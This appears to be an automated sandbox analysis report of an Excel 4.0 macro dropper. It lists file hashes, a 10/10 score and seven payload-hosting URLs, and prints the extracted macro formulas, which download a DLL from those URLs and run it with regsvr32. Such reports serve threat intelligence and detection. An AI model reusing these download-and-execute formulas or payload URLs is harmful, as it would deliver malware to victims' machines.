General

  • Target

    8cded21fd28612668d171c7b0ed19236be698ae6e1418057ab80a7f9156aaf64

  • Size

    20KB

  • Sample

    241120-xpwhds1pdz

  • MD5

    1f36e746d00caabb09a57cae11032ab0

  • SHA1

    c547e9a798f7ba2ce9e60cfed7cb68e2f1ca1894

  • SHA256

    8cded21fd28612668d171c7b0ed19236be698ae6e1418057ab80a7f9156aaf64

  • SHA512

    19db5ba99d7e274387a757b72488a8d303ca22da311823a3d7a71f9e10f7aa4018f02ab1bc9c237a572c2713b407791772a9125ce368beb53053c1501c0d9a65

  • SSDEEP

    384:WQZAVb1GNjJITo4CGzPd6ZIwVKb5CzgObff9kC+xbX7zL0crX:WTINqTo4FL3CBn9kC+xbLHjj

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/

http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/

http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/

http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/

http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/

http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/

http://autoat.mx/assets/VljikBuT029PkSBfrc/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://autoat.mx/assets/VljikBuT029PkSBfrc/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/

xlm40.dropper

http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/

xlm40.dropper

http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/

xlm40.dropper

http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/

xlm40.dropper

http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/

xlm40.dropper

http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/

xlm40.dropper

http://autoat.mx/assets/VljikBuT029PkSBfrc/

Targets

    • Target

      8cded21fd28612668d171c7b0ed19236be698ae6e1418057ab80a7f9156aaf64

    • Size

      20KB

    • MD5

      1f36e746d00caabb09a57cae11032ab0

    • SHA1

      c547e9a798f7ba2ce9e60cfed7cb68e2f1ca1894

    • SHA256

      8cded21fd28612668d171c7b0ed19236be698ae6e1418057ab80a7f9156aaf64

    • SHA512

      19db5ba99d7e274387a757b72488a8d303ca22da311823a3d7a71f9e10f7aa4018f02ab1bc9c237a572c2713b407791772a9125ce368beb53053c1501c0d9a65

    • SSDEEP

      384:WQZAVb1GNjJITo4CGzPd6ZIwVKb5CzgObff9kC+xbX7zL0crX:WTINqTo4FL3CBn9kC+xbLHjj

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks